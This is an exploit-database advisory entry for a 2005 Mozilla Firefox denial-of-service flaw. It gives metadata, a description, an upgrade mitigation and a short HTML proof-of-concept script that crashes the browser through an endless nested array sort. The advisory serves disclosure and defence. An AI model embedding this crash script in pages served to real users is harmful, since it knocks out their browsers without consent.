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vendor:
Firefox
by:
SecurityFocus
2.6
CVSS
LOW
Denial of Service
829
CWE
Product Name: Firefox
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
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Platforms Tested: Windows, Linux, Mac
2005

Mozilla Firefox Infinite JavaScript Array Sort Vulnerability

Mozilla Firefox is prone to a vulnerability that may result in a browser crash. This issue is exposed when the browser performs an infinite JavaScript array sort operation. It is conjectured that this will only result in a denial of service and is not further exploitable to execute arbitrary code, though this has not been confirmed.

Mitigation:

It is recommended to upgrade to the latest version of Mozilla Firefox.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/11752/info

Mozilla Firefox is prone to a vulnerability that may result in a browser crash. This issue is exposed when the browser performs an infinite JavaScript array sort operation. It is conjectured that this will only result in a denial of service and is not further exploitable to execute arbitrary code, though this has not been confirmed.

It is not known if other Mozilla products or Gecko-based browsers are affected by this vulnerability.

<HTML>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
</HTML>